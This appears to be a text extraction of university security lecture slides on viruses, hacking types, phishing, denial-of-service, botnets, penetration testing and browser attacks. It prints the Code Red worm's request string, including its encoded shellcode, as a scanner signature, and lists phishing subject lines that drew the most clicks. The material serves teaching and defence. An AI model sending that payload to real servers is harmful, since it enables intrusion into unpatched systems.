NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
%u9090%u6858%ucbd3
%u7801%u9090%u6858%ucdb2%u7801%u9090%u6858
%ucbd3%u7801%u9090
%u9090%u8190%u00c3%u0003%ub00%u531b%u53ff
%u0078%u0000%u00=a
HTTP/1.0
```

Code Analysis

- Analyze the code to determine what it does, how it propagates and where it originated.
- Difficulty with analyzing code is that the researcher normally has only the end product to look at.
- Using a tool called a disassembler, the analyst can convert machine-language binary instructions to their assembly language equivalents, but the trail stops there.
- Thoughtful analysis with "microscope and tweezers" after an attack must complement preventive tools such as virus detectors.

User Vigilance

- Use only commercial software acquired from reliable, well-established vendors.
- Use virus detectors (often called virus scanners) regularly and update them daily.
- Test all new software on an isolated computer.
- Open attachments only when you know them to be **safe**.
- Install software—and other potentially infected executable code files—only when you really, really know them to be safe.
- Recognize that any web site can be potentially harmful.
- Make a recoverable system image and store it safely.
- Make and retain backup copies of executable system files.

Virus Detectors and Virus Signatures

- A virus cannot be completely invisible. Code must be stored somewhere, and the code must be in memory to execute.
- Each of these characteristics yields a telltale pattern, called a **signature** . The virus's signature is important for creating a program, called a virus scanner , that can detect and, in some cases, remove viruses.
- **Virus scanners** are tools that look for signs of malicious code infection. Most such tools look for a **signature** or **fingerprint.**
- Detection tools are necessarily retrospective, looking for patterns of known infections.
- Keep scanners updated!

Virus Signature Example

- A scanner looking for signs of the Code Red worm can look for a pattern containing the following characters:

```
/default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN
%u9090%u6858%ucbd3
%u7801%u9090%u6858%ucdb3%u7801%u9090%u6858
%ucbd3%u7801%u9090
%u9090%u8190%u00c3%u0003%ub00%u531b%u53ff
%u0078%u0000%u00=a
HTTP/1.0
```

Code Analysis

- Analyze the code to determine what it does, how it propagates and where it originated.
- Difficulty with analyzing code is that the researcher normally has only the end product to look at.
- Using a tool called a disassembler, the analyst can convert machine-language binary instructions to their assembly language equivalents, but the trail stops there.
- Thoughtful analysis with “microscope and tweezers” after an attack must complement preventive tools such as virus detectors.

Countermeasures for Developers

- Modularity, Encapsulation, and Information Hiding.
- Mutual Suspicion.
    - Mutually suspicious programs operate as if other routines in the system were malicious or incorrect.
    - A calling program cannot trust its called sub-procedures to be correct, and a called sub-procedure cannot trust its calling program to be correct.
    - Each protects its interface data so that the other has only limited access.

Countermeasures for Developers

- Confinement
  - Confinement is a technique used by an operating system on a suspected program to help ensure that possible damage does not spread to other parts of a system.
  - Since a virus spreads by means of transitivity and shared data, all the data and programs within a single compartment of a confined program can affect only the data and programs in the same compartment.
- Simplicity
- Testing
  - Reduce the likelihood or limit the impact of failures.

Case Studies

- The BRAIN Virus
- The Internet Worm
- Code Red

Book

- Pfleeger C. P., Pfleeger S. L. and Margulies J., Security in Computing (5e), Prentice Hall, 2015, Chapter 3.

Hacking

ICT 3156

Basics

- What is hacking?
- Classification of Hackers
- Types of hacking
- Ethical Hacking
- Common Security Vulnerabilities
- Various Types of Hacking attacks

What is Hacking?

- Hacking is the practice of modifying the features of a system, in order to accomplish a goal outside of the creator's original purpose.
- Hacking is simply finding an alternative or unintended use of computer hardware or software, so as to enhance their applications and solve problems.
- Hacking is using the technology available in new and counterintuitive ways in order to solve problems that conventional techniques cannot.
- In the current digital age, hacking has become synonymous with bypassing security, illegally accessing another person’s computer, and wrecking havoc.

History of Hacking

- When did hacking start?
- 1870s: Bell Telephone Company switchboard operators.
- 1950s: Term was coined by MIT model train enthusiasts.
- 1970s: Phreakers
- 1980s:Malign purpose.

Classifications of Hacker

- White Hat Hacker
- Black Hat Hacker
- Grey Hat Hacker
- Blue Hat Hacker
- Elite Hacker
- Script kiddie
- Neophyte “newbie”
- Hacktivist
- Nation state
- Organized criminal gangs
- Bots

Classifications of Hacker

- **White Hat Hacker**
  - An ethical hacker, or a computer security expert, is one who specializes in penetration testing and in other testing methodologies to ensure the security of an organization's information systems.
  - They hack into a system with prior permission to find out vulnerabilities so that they can be fixed before a person with malicious intent finds them.
  - White-hat hackers are also called penetration tester, sneakers, red teams, or tiger teams.
- The general view is that, while hackers build things, crackers break things.

Classifications of Hacker

- **Black Hat Hacker**
  - An individual with extensive computer knowledge whose purpose is to breach or bypass internet security. Also known as crackers or dark-side hackers.
  - They are computer security hackers that break into computers and networks or also create computer viruses. Black hat hackers break into secure networks to destroy data or make the network unusable for those who are authorized to use the network.
  - They choose their targets using a two-pronged process known as the "pre-hacking stage".
  - Step 1: Targeting
  - Step 2: Research and Information Gathering
  - Step 3: Finishing the Attack

Classifications of Hacker

- **Grey Hat Hacker**
  - A grey hat hacker is a combination of a black hat and a white hat hacker. It may relate to whether they sometimes arguably act illegally, though in good will, or to show how they disclose vulnerabilities.
  - They usually do not hack for personal gain or have malicious intentions but may be prepared to technically commit crimes during their technological exploits in order to achieve better security.
- **Blue Hat Hacker**
  - A blue hat hacker is someone outside computer security consulting firms who is used to bug test a system prior to its launch, looking for exploits so they can be closed.
  - Microsoft also uses the term Blue Hat to represent a series of security briefing events.

Classifications of Hacker

- **Elite Hacker**
  - Used to describe the most skilled. Newly discovered activities will circulate among these hackers
- **Script kiddie**
  - A script kiddie (or skiddie) is a non-expert who breaks into computer systems by using pre-packaged automated tools written by others, usually with little understanding of the underlying concept.
- **Neophyte “newbie”**
  - A neophyte, "noob", or "newbie" is new to hacking or phreaking and has almost no knowledge or experience of the workings of technology, and hacking.

Classifications of Hacker

- **Hacktivist**
  - A hacker who utilizes technology to announce a social, ideological, religious, or political message. In general, most hacktivism involves website defacement or denial-of-service attacks.
- **Nation state**
  - Refers to Intelligence agencies and cyber warfare operatives of nation states.
- **Organized criminal gangs**
  - Criminal activity carried on for profit.
- **Bots**
  - Automated software tools, some freeware, available for the use of any type of hacker.

Different Types of Hacking

- Website Hacking

  Taking unauthorized control over a web server and its associated software such as databases and other interfaces.

- Network Hacking

  Hacking a network means gathering information about a network by using tools like Telnet, NS lookup, Ping, Tracert, Netstat, etc. with the intent to harm the network system and hamper its operation.

Different Types of Hacking

- Email Hacking

  This includes gaining unauthorized access to an Email account and using it without taking the consent of its owner for sending out spam links, third-party threats, and other such harmful activities.

- Password Hacking

  This is the process of recovering secret passwords from data that has been stored in or transmitted by a computer system.

- Computer Hacking

  This is the process of stealing computer ID and password by applying hacking methods and getting unauthorized access to a computer system.

Ethical Hacking

- Computer experts are often hired by companies to hack into their system to find vulnerabilities and weak endpoints so that they can be fixed.
- This is done as a precautionary measure against legitimate hackers who have malicious intent.
- Such people, who hack into a system **with permission**, without any malicious intent, are known as **ethical hackers** and the process is known as **ethical hacking.**

Phases of Ethical Hacking

Reconnaissance

- The process of information gathering.
- In this phase, the hacker gathers relevant information regarding the target system.

  These include detecting services, operating systems, packet-hops to reach the system, IP configuration etc.
- Various tools are used for reconnaissance purposes

Scanning

- In the scanning phase, the hacker begins to actively probe the target machine or network for vulnerabilities that can be exploited.
- Tools are widely used by hackers in this process.

Gaining Access

- In this phase, the vulnerability located during scanning is exploited using various methods and the hacker tries to enter the target system without raising any alarms.
- The primary tool that is used in this process is Metasploit.

Phases of Ethical Hacking

Maintaining Access

- This is one of the most integral phases.
- In this phase, the hacker installs various backdoors and payloads onto the target system
- Backdoors help the hacker gaining quicker access onto the target system in the future.

Clearing Tracks

Do Ethical Hackers need to perform this? Why?

- This process is an unethical activity.
- It has to do with the deletion of logs of all the activities that take place during the hacking process.

Reporting

- Here the Ethical Hacker compiles a report with findings and the job that was done such as the tools used, the success rate, vulnerabilities found, and the exploit processes.

Common Security Vulnerabilities

- Some of the most common security vulnerabilities that ethical hackers will have to work with and eventually keep an eye on:
    - Network Infrastructure Attacks
    - Non-Technical Attacks
    - Attacks on an Operating System
    - Attacks on Applications

Network Infrastructure Attacks

- Refer to hacks that break into local networks as well as on the Internet.
- One way to hack into a network is to connect a modem to a local network. The modem should be connected to a computer that is behind the network's firewall.
- Another method of breaking into a network is via NetBIOS, TCP/IP, and other transport mechanisms within a network. Some tricks include creating a denial of service by flooding the network with a huge load of requests.
- Network analyzers capture data packets that travel across a network. The information they capture is then analyzed and the information in them is revealed.
- Another example of a common network infrastructure hack is when people piggyback on WiFi networks that aren't secured.

Non-Technical Attacks

- Non-technical attacks basically involve manipulating people into divulging their passwords, willingly or not. **Social Engineering**
- Simply walking into another person's room where the computer is, booting the computer, and then gathering all the information that you need.

Attacks on an Operating System

- Operating system attacks are one of the more frequent hacks performed per quota.
- There are a lot of loopholes in many operating systems – even the newest ones around still have a few bugs that can be exploited.
- One of the avenues for operating system attacks is password hacking or hacking into encryption mechanisms.

Attacks on Applications

- Apps, especially the ones online and the ones that deal with connectivity, get a lot of attacks.
- Spam mail can carry pretty much anything that can hack into your computer system.
- Malware or malicious software is also another tool in the hands of a hacker when they try to attack pretty much everything, especially apps.
- Another set of applications that get attacked frequently are SMTP applications and HTTP applications.

Various Types of Hacking Attacks

- Active attacks

  An active attack is a network exploit in which a hacker attempts to make changes to data on the target or data en route to the target.

- Passive attacks

  A passive attack is a network attack in which a system is monitored and sometimes scanned for open ports and vulnerabilities. The purpose is solely to gain information about the target and no data is changed on the target.

Types of Active attacks

- Masquerade Attack

  The intruder pretends to be a particular user of a system to gain access or to gain greater privileges than they are authorized for.

  A masquerade may be attempted using stolen login IDs and passwords, through finding security gaps in programs or through bypassing the authentication mechanism.

- Session Replay Attack

  A hacker steals an authorized user’s log in information by stealing the session ID. The intruder gains access and the ability to do anything the authorized user can do on the website.

Types of Active attacks

- Message Modification Attack

  An intruder alters packet header addresses to direct a message to a different destination or modify the data on a target machine.

- Denial of Service (DoS) attack

  Users are deprived of access to a network or web resource. This is generally accomplished by overwhelming the target with more traffic than it can handle.

- Distributed Denial-of-Service (DDoS) exploit

  Large numbers of compromised systems (sometimes called a botnet or zombie army) attack a single target.

Passive Attacks

- Passive attacks include active reconnaissance and passive reconnaissance.
- In passive reconnaissance, an intruder monitors systems for vulnerabilities without interaction, through methods like session capture.
- In active reconnaissance, the intruder engages with the target system through methods like port scans.

Methods of passive attacks

- War driving
  - Detects vulnerable Wi-Fi networks by scanning them from nearby locations with a portable antenna.
  - The attack is typically carried out from a moving vehicle, sometimes with GPS systems that hackers use to plot out areas with vulnerabilities on a map.
  - Can be done just to steal an Internet connection or as a preliminary activity for a future attack.
- Dumpster diving
  - Intruders look for information stored on discarded computers and other devices or even passwords in trash bins.
  - The intruders can then use this information to facilitate covert entry to a network or system.
- An intruder might masquerade as an authorized network user and spy without interaction. With that access, an intruder might monitor network traffic by setting the network adapter to promiscuous mode.

Phishing

- Phishing is a method of trying to gather personal information using deceptive e-mails and websites.
- Typically, the messages appear to come from well-known and trustworthy Web sites. Web sites that are frequently spoofed by phishers include PayPal, eBay, MSN, Yahoo, BestBuy, and America Online.
- What really distinguishes phishing is the form the message takes: the attackers masquerade as a trusted entity of some kind.
- Nearly a third of all breaches in the past year involved phishing, according to the 2019 Verizon Data Breach Investigations Report. For cyber-espionage attacks, that number jumps to 78%.

Purpose of Phishing

- Hand over sensitive information.
- Download malware.
  - Often the messages are "soft targeted" .

Phishing Types

- Spear phishing
  - When attackers try to craft a message to appeal to a specific individual, that's called spear phishing.
- Whaling
  - Whale phishing, or whaling, is a form of spear phishing aimed at the very big fish.
- Vishing
- Clone phishing
- DNS-Based Phishing/ Pharming
- Search Engine Phishing
- And many more.

Signs you May have Received a Phishing Email

- Unofficial "From" address
- Urgent action required
- Generic greeting
- Link to a fake web site
- Legitimate links mixed with fake links

Points of caution

- Check the Web address: spelling and URL redirects.
- Be cautious of pop-ups.
- Give a fake password.
- Use a Web browser with anti-phishing detection.
- Be wary of other methods to identify a legitimate site.
- If you receive an email from a source you know but it seems suspicious, contact that source with a new email, rather than just hitting reply.
- Don't post personal data, like your birthday, vacation plans, or your address or phone number, publicly on social media.

Phishing Webinar by Cyren

KnowBe4
Human error. Conquered.

TOP-CLICKED PHISHING TESTS

TOP SOCIAL MEDIA EMAIL SUBJECTS

KEY TAKEAWAY

LinkedIn messages continue to dominate the top social media email subjects, with several variations of messages such as "new message" or "add me." Other alerts containing security-related warnings come unexpectedly and can cause feelings of alarm. Messages such as new message or a friend tagged a photo of you can make someone feel special and entice them to click.

TOP 10 GENERAL EMAIL SUBJECTS

De-activation of [[email]] in Process	20%
A Delivery Attempt was made	13%
You Have A New Voicemail	11%
Failed Delivery for Package #5357343	9%
Staff Review 2018	8%
Revised Vacation & Sick Time Policy	8%
APD Notification	8%
Your Order with Amazon.com	8%
Re: w-2	8%
Scanned image from MX2310U@[[domain]]	7%

KEY TAKEAWAY

Hackers are playing into employees' emotions, causing them to panic when they see a de-activation of [email] in process. Their curiosity is piqued with delivery attempt messages and orders from Amazon. And who can resist HR-related messages that could potentially affect the daily work of employees?

COMMON "IN THE WILD" ATTACKS

- Wells Fargo: You have a new secure mail
- Undelivered Mail
- Etrade: Action Required!
- Microsoft Teams: Rick sent a message
- Microsoft/Office 365: Action required: Update your payment information now
- Stripe: Just now someone logged in to your account
- HR: Your Action Required
- Amazon: Refund Notification
- OneDrive: Your OneDrive is out of storage space
- HR: Download your W2 now

KEY TAKEAWAY

The common theme we see here is the push for action required. One message even has an exclamation point, which emphasizes the urgency of the message. These types of attacks are effective because they cause a person to react before thinking logically about the legitimacy of the email.

KnowBe4 Human error. Conquered. SECURITY AWARENESS TRAINING | www.KNOWBE4.com

Brute Force Attack

- A brute force attack involves ‘guessing’ username and passwords to gain unauthorized access to a system.
- Brute force is a simple attack method and has a high success rate.
- Some attackers use applications and scripts as brute force tools.
- In other cases, attackers try to access web applications by searching for the right session ID.

Types of Brute Force Attacks

- Simple brute force attack
- Hybrid brute force attacks
  - Starts from external logic to determine which password variation may be most likely to succeed, and then continues with the simple approach to try many possible variations.
- Dictionary attacks
- Rainbow table attacks
- Reverse brute force attack
  - Uses a common password or collection of passwords against many possible usernames. Targets a network of users for which the attackers have previously obtained data.
- Credential stuffing
  - Uses previously-known password-username pairs, trying them against multiple websites. Exploits the fact that many users have the same username and password across different systems.

How to Prevent Brute Force Password Hacking

- **Very strong passwords!!**
- Two-factor authentication
- Lockout policy
- Progressive delays
- Captcha
- Defensive Tools: Php-Brute-Force-Attack Detector

Denial of Service

- Denial-of-Service, or DoS, attack is an attempt to defeat availability, the third of **the three basic properties** to be preserved in computer security.
- Confidentiality and integrity tend to be binary. Availability?
- How can DOS be inconvenient or dangerous?
- The source of a denial-of-service attack is typically difficult or impossible to determine with certainty.

How Service Is Denied?

- DOS can occur from excessive volume, a failed application, a severed link, or hardware or software failure.
- The three root threats to availability:
    - Insufficient capacity; overload.
    - Blocked access.
    - Unresponsive component.

Flooding attack

- The most common malicious denial-of-service attack type is flooding.
- Either overwhelm a victim with prodigious resources; or write a few lines of code from one computer that can bring down a seemingly more powerful network entity.
- How flooding attacks are assembled:
    - Insufficient Resources
    - Insufficient Capacity

Denial of Service Attack Methods

- Network Flooding Caused by Malicious Code
- Network Flooding by Resource Exhaustion
- Denial of Service by Addressing Failures
- Traffic Redirection
- DNS Attacks
- Physical Disconnection

Network Flooding Caused by Malicious Code

- The most primitive denial-of-service attack is flooding a connection.
- More sophisticated attacks use or misuse elements of Internet protocols. TCP, UDP, ICMP.
- **ICMP**: ping, echo, destination unreachable, source quench.
- Peculiarities or oversights in the protocols or their implementations can open the way for an attacker to exploit a weakness to overwhelm the code supporting the protocol function.
  - Ping of Death
  - Smurf
  - Echo–Chargen
  - SYN Flood

Ping of Death

- Uses ping command.
- Since ping requires the recipient to respond to the packet, all the attacker needs to do is send a flood of pings to the intended victim.
- The attack is limited by the smallest bandwidth on the attack route.

(a) Attacker has greater bandwidth

(b) Victim has greater bandwidth

Smurf

- A variation of a ping attack.
- Uses the same vehicle, a ping packet, with two extra twists.
- The attacker chooses a network of unwitting victims that become accomplices. Spoofs victim's IP. Recipients will respond to the victim.
- The attacker sends this request to the network in broadcast mode.

Echo-Chargen

- The echo–chargen attack works between two hosts.
- Chargen is an ICMP protocol that generates a stream of packets to test the network's capacity.
- The attacker picks two victims, A and B, and then sets up a chargen process on host A that generates its packets as echo packets with a destination of host B. Thus, A floods B with echo packets.
- But because these packets request the recipient to echo them back to the sender, host B replies by returning them to host A.

Network Flooding by Resource Exhaustion

- Context Switching and Thrashing. Which resource is exhausted here?
- Buffer space: Email buffer, Logging, and so on.
- Even identification and authentication can become vulnerable in an exhaustion attack. Lockout Policy.
- **IP Fragmentation: Teardrop attack**.
- The **teardrop** attack misuses a feature ironically intended to improve network communication.
- Fragments overlap, so they cannot be reassembled properly.
- In an extreme case, the operating system locks up with these partial data units it cannot reassemble, thus leading to denial of service.

Denial of Service by Addressing Failures

- DNS Spoofing
- Router Takes Over a Network: BGP.

Denial of Service by Addressing Failures

- DNS Spoofing
- Router Takes Over a Network: BGP.
- Rerouting Routing
  - How routers exchange information?
  - What if A is a rogue router?
  - Can be non-malicious or malicious.

Traffic Redirection

- If an attacker can corrupt the routing, traffic can disappear.
- Routers use complex algorithms to decide how to route traffic. Each router advises its neighbors about how well it can reach other network addresses. This characteristic allows an attacker to disrupt the network.
- Suppose a router advertises to its neighbors that it has the best path to every other address in the whole network. Soon all routers will direct all traffic to that one router.
- Routers trust each other! A standard countermeasure to exclude impostors is **identification and authentication.**
- For efficiency, router communication protocols were designed without authentication. Only now are authenticating steps being added to router protocols.

DNS Attacks

- Name Server Application Software Flaws
  - Name servers use software which may have flaws.
  - By overtaking a name server or causing it to cache spurious entries, an attacker can redirect the routing of any traffic, with an obvious implication for denial of service.
- Top-Level Domain Attacks
  - 2002 TLD attacks. 2007 root server attacks.
  - Make it distributed!

DNS Attacks

- Session Hijacking
- In a session hijack attack, the attacker allows an interchange to begin between two parties but then diverts the communication, much as would a man in the middle.
- Session hijacking is facilitated by elements of the TCP/IP protocol design.

Distributed DoS (DDoS)

- Distributed denial-of-service attacks change the balance between adversary and victim by marshalling many forces on the attack side.
- To mount a DDoS attack, an attacker does two things.

1. The attacker conscripts an army of compromised machines to attack a victim. **Zombie** formation.
2. The attacker chooses a victim and sends a signal to all the zombies to launch the attack.

Scripted Denial-of-Service Attacks

- DDoS attacks are a serious problem. Why?
    - Their tremendous multiplying effect.
    - They are easily launched from scripts.
- Given a collection of denial-of-service attacks and a propagation method, one can easily write a procedure to plant a Trojan horse that can launch any or all of the denial-of-service attacks.
- DDoS tools also include: code to turn a compromised system into a zombie.
- Zombie selection has been largely random; it means that no organization or accessible host is safe from attack.
- Compromised zombies to augment an attack are located by scanning random computers for unpatched vulnerabilities.

Bots

- Zombies or **bots** are machines running pieces of malicious code under remote control.
- These code objects are **Trojan horses** that are distributed to large numbers of victims' machines.
- Because they may not interfere with or harm a user's computer (other than consuming computing and network resources), **they are often undetected.**

Botnets

- A network of compromised machines ready, willing, and able to assist with the attack.
- Neither the machines nor their owners are aware they are part of an attack.
- Botnets, networks of bots, are used for massive denial-of-service attacks, implemented from many sites **working in parallel against a victim**.

Botnets

- Botnets tend to be multinational entities with pieces in many countries. Implications?
- Complicates prosecution because of different laws, standards of evidence, investigative practices, and judicial structures.
- The key elements of botnets use crime-friendly hosting services that protect their clients from abuse complaints and takedown requests.
- Thus, both law enforcement officials and network security administrators have difficulty taking action against major botnets.

Botnet Command and Control Update

- A network of bots requires a command hierarchy; the bots require someone to tell them **when** to attack, against **whom**, and **with what** weapon.
- The bot headquarters is called a **command-and-control center**.
- The mastermind wants to be isolated from the actual configuration, to reduce the likelihood of detection.
- In case part of the army is isolated and taken down, the attacker wants redundancy to be able to regroup, so the attacker builds in redundancy.
- The attacker controls one or more master controllers that establish command-and-control centers.

Botnet Command and Control Update

- Command-and-control centers control the individual bots, telling them when to start and stop an attack against which victim.
- **Communication** from the command-and-control center to the bots can be either **pushed** or **pulled**.
- To avoid detection, masters change command-and-control centers often, for which the push model is more effective. Why?
- The individual bots do not have to be informed of the address of the new command-and-control computer.
- Structured as a loosely coordinated web, a botnet is **not subject to failure** of any one bot or group of bots, and with multiple channels for communication and coordination, they are **highly resilient**.

Rent-A-Bot

- People who infect machines to turn them into bots are called **botmasters**.
- A botmaster may own (in the sense of control) hundreds or thousands of bots.
- Because the infected machines belong to unsuspecting users who do use them for real computing, these bots are not always available.
- Botmasters also sometimes rent out their botnets to others. Why?
- DoS activity tends to be targeted, not random, so one botmaster is unlikely to have an unlimited number of victims against which to direct the bots.
- Thus, to bring in a little income, botmasters also sometimes rent out their botnets to others.

Opt-In Botnets

- Join with a group of like-minded individuals to launch a distributed denial-of-service attack against any outrage.
- Download and install an attack script and show up at the specified time to protest by pointing your attacking computer at the victim.
- Join in and drop out when you want.

Penetration Testing

- Penetration testing is the process of attempting to gain access to resources without knowledge of usernames, passwords and other normal means of access.
- If the focus is on computer resources, then examples of a successful penetration would be obtaining or subverting confidential documents, pricelists, databases and other protected information.
- The main thing that separates a penetration tester from an attacker is **permission**. The penetration tester will have permission from the owner of the computing resources that are being tested and will be responsible to provide a report.

Goals of Penetration Testing

- To **increase the security of the computing resources** being tested.
- In many cases, a penetration tester will be given user-level access.
- In those cases, the goal would be to elevate the status of the account or user; other means to gain access to additional information that a user of that level should not have access to.
- Some penetration testers are contracted to find one vulnerability, but in many cases, they are expected to keep looking past the first one so that additional vulnerabilities can be identified and fixed.
- It is important for the pen-tester to keep detailed notes about how the tests were done so that the results can be verified and so that any issues that were uncovered can be resolved.

Penetration Testing versus Vulnerability Assessment

Penetration testing has more of an **emphasis on gaining as much access as possible.**

While

Vulnerability testing places the **emphasis on identifying areas that are vulnerable to a computer attack**.

- An automated vulnerability scanner will often identify possible vulnerabilities based on service banners or other network responses that are not in fact what they seem. Any Penetration Test is a sampling of the environment.
- A vulnerability assessor will **stop just before compromising a system**, whereas a penetration tester will **go as far as they can** within the scope of the contract.
- A penetration test is like any other test in the sense that it is a sampling of all possible systems and configurations. Unless the contractor is hired to test only a single system, they will be unable to identify and penetrate all possible systems using all possible vulnerabilities.

How Vulnerabilities Are Identified?

- Vulnerabilities need to be identified by both the penetration tester and the vulnerability scanner.
- The steps are similar for the security tester and an unauthorized attacker.

1. Reconnaissance.
2. Verification.
3. Testing.
4. Attack.

How Vulnerabilities Are Identified?

1. Reconnaissance.
   - This is where the tester attempts to learn as much as possible about the target network as possible.
   - This normally starts with **identifying publicly accessible services** such as mail and web servers from their service banners.
   - Many servers will report the Operating System they are running on, the version of software they are running, patches and modules that have been enabled, the current time, and perhaps even some internal information like an internal server name or IP address.

How Vulnerabilities Are Identified?

2. Verification.
   - Once the tester has an idea what software might be running on the target computers, that information needs to be verified.
   - The tester really doesn’t KNOW what is running but may have a pretty good idea.
3. Testing.
   - The information that the tester has can be combined and then compared with known vulnerabilities, and then those vulnerabilities can be tested to see if the results support or contradict the prior information.
4. Attack.

Why Perform Penetration Testing?

- Security breaches and service interruptions are costly.
  - Security breaches and any related interruptions in the performance of services or applications, can result in direct financial losses, threaten organizations' reputations, erode customer loyalties, attract negative press, and trigger significant fines and penalties.
- It is impossible to safeguard all information, all the time.
  - New vulnerabilities are discovered each day, and attacks constantly evolve in terms of their technical and social sophistication, as well as in their overall automation.
- Penetration testing identifies and prioritizes security risks.
  - Test results validate the risk posed by specific security vulnerabilities or flawed processes, enabling IT management and security professionals to prioritize remediation efforts.

Penetration Testing Strategies

- Targeted testing
- External testing
- Internal testing
- Blind testing
- Double blind testing

Penetration Testing Strategies

- Targeted testing
  - Performed by the organization's IT team and the penetration testing team working together. It's sometimes referred to as a "lights-turned-on" approach because everyone can see the test being carried out.
- External testing
  - This type of pen test targets a company's externally visible servers or devices including domain name servers (DNS), e-mail servers, Web servers or firewalls. The objective is to find out if an outside attacker can get in and how far they can get in once they've gained access.
- Internal testing
  - This test mimics an inside attack behind the firewall by an authorized user with standard access privileges. This kind of test is useful for estimating how much damage a disgruntled employee could cause.

Penetration Testing Strategies

- Blind testing
  - A blind test strategy simulates the actions and procedures of a real attacker by **severely limiting the information** given to the person or team that's performing the test beforehand. Typically, they may only be given the name of the company.
  - Because this type of test can require a considerable amount of time for reconnaissance, it can be expensive.
- Double blind testing
  - In this type of test, only one or two people within the organization might be aware a test is being conducted. Double-blind tests can be useful for testing an organization's security monitoring and incident identification as well as its response procedures.

Attacks on the Web

ICT 3156

Introduction

- Browser Attacks
- Web Attacks Targeting Users
- Obtaining User or Website Data
- Email Attacks

Security Issues With Browsers

- A browser often connects to more than the one address shown in the browser's address bar.
- Fetching data can entail accesses to numerous locations to obtain pictures, audio content, and other linked content.
- Browser software can be malicious or can be corrupted to acquire malicious functionality.
- Popular browsers support add-ins, extra code to add new features to the browser, but these add-ins themselves can include corrupting code.
- Data display involves a rich command set that controls rendering, positioning, motion, layering, and even invisibility.
- The browser can access any data on a user's computer (subject to access control restrictions); generally the browser runs with the same privileges as the user.
- Data transfers to and from the user are invisible, meaning they occur without the user's knowledge or explicit permission.

Browser Attacks

There are three attack vectors against a browser:

- Go after the operating system so it will impede the browser's correct and secure functioning.
- Tackle the browser or one of its components, add-ons, or plug-ins so its activity is altered.
- Intercept or modify communication to or from the browser.

Browser Attack Types

- Man-in-the-Browser
- Keystroke Logger
- Page-in-the-Middle
- Program Download Substitution
- User-in-the-Middle

Man-in-the-Browser

- A man-in-the-browser attack is an example of malicious code that has infected a browser.
- Code inserted into the browser can read, copy, and redistribute anything the user enters in a browser.
- The threat here is that the attacker will intercept and reuse credentials to access financial accounts and other sensitive data.
- Man-in-the-browser attacks can be devastating because they represent a valid, authenticated user.

Man-in-the-Browser: SilentBanker

- In January 2008, security researchers detected a SilentBanker (a new Trojan horse).
- This code linked to a victim's browser as an add-on or browser helper object; in some versions it listed itself as a plug-in to display video.
- Banking and other financial transactions are ordinarily protected in transit by an encrypted session, using a protocol named SSL or HTTPS.
- But before the browser could encrypt its data to transmit to the bank, SilentBanker intervened, acting as part of the browser.

Man-in-the-Browser: SilentBanker

Man-in-the-Browser: SilentBanker

- SilentBanker also changed the effect of customer actions.
- Variant of SilentBanker intercepted other sensitive user data.

Keystroke Logger

- A keystroke logger (or key logger) is either hardware or software that records all keystrokes entered.
- The logger either retains these keystrokes for future use by the attacker or sends them to the attacker across a network connection.
- As a hardware device, a keystroke logger is a small object that plugs into a USB port, resembling a plug-in wireless adapter or flash memory stick.
- In software, the logger is just a program installed like any malicious code.
- Difference?

Page-in-the-Middle

- A page-in-the-middle attack is another type of browser attack in which a user is redirected to another page.
- Similar to the man-in-the-browser attack, a page attack might wait until a user has gone to a particular web site and present a fictitious page for the user.
- Difference?
- The man-in-the-browser action is an example of an infected browser that may never alter the sites visited by the user but works behind the scenes to capture information.
- In a page-in-the-middle action, the attacker redirects the user, presenting different web pages for the user to see.

Program Download Substitution

- In a **download substitution**, the attacker presents a page with a desirable and seemingly safe program for the user to download.
- Instead of or in addition to the intended program, the attacker downloads and installs malicious code.
- Advantage?
- Users have been conditioned to be wary of program downloads, precisely for fear of downloading malicious code.
- In this attack, the user knows of and agrees to a download, not realizing what code is actually being installed.
- This attack also defeats users' access controls that would normally block software downloads and installations, because the user intentionally accepts this software.

User-in-the-Middle

- A different form of attack puts a human between two automated processes so that the human unwittingly helps spammers register automatically for free email accounts.
- CAPTCHA

- Primary Captcha solving used techniques like pixel counts, color-filling segmentation, and histogram analysis.
- Primary Captcha invariants: pixel level and string level.
- How can these vulnerabilities be eliminated?
- By introducing some degree of randomness.

How Browser Attacks Succeed: Failed Identification and Authentication

- The central failure of these in-the-middle attacks is **faulty authentication**.
- If A cannot be assured that the sender of a message is really B, A cannot trust the authenticity of anything in the message.
- Human Authentication
- Computer Authentication

What a user knows, is, or has.

Computer Authentication

- When a user communicates online with a bank, the communication is really user-to-browser and computer-to-bank's computer.
- The bank performs authentication of the user; what about the user authenticating the bank?
- Computer authentication uses the same three primitives as human authentication, with obvious variations.
- Continuous authentication.
- Authentication is vulnerable at several points.

Computer Authentication

Authentication is vulnerable at several points.

- Usability and accuracy can conflict for identification and authentication: A more usable system may be less accurate.
- Computer-to-computer interaction allows limited bases for authentication. Computer authentication is mainly based on what the computer knows, that is, stored or computable data.
- Malicious software can undermine authentication by eavesdropping on(intercepting) the authentication data and allowing it to be reused later.
- Each side of a computer interchange needs assurance of the authentic identity of the opposing side.

Successful Identification and Authentication

- Shared Secret
  - To be effective, a shared secret must be something no malicious middle agent can know.
- One-Time Password
- Out-of-Band Communication
  - Transferring one fact along a communication path separate from that of another fact.
- Continuous Authentication
  - Encryption can provide continuous authentication, but care must be taken to set it up properly and guard the end points.
  - This countermeasure is foiled if the attacker can intrude in the communication pre-encryption or post-decryption.

Web Attacks Targeting Users

- Two classes of situations involving web content needs consideration.
    - Involves false content, with the the intent is to mislead the viewer.
    - More dangerous kind which seeks to harm the viewer.
- False or Misleading Content
- Malicious Web Content
- Protecting Against Malicious Web Pages

False or Misleading Content

- An incoherent message, a web page riddled with grammatical errors, or a peculiar political position can all alert you that something is suspicious, but a well-crafted forgery may pass without question.
- The falsehoods that follow include both obvious and subtle forgeries.
- Defaced Web Site
    - Occurs when an attacker replaces or modifies the content of a legitimate web site.
    - Sometimes the goal is just to prove a point or embarrass the victim. Some attackers seek to make a political or ideological statement, whereas others seek only attention or respect.
- Fake Web Site
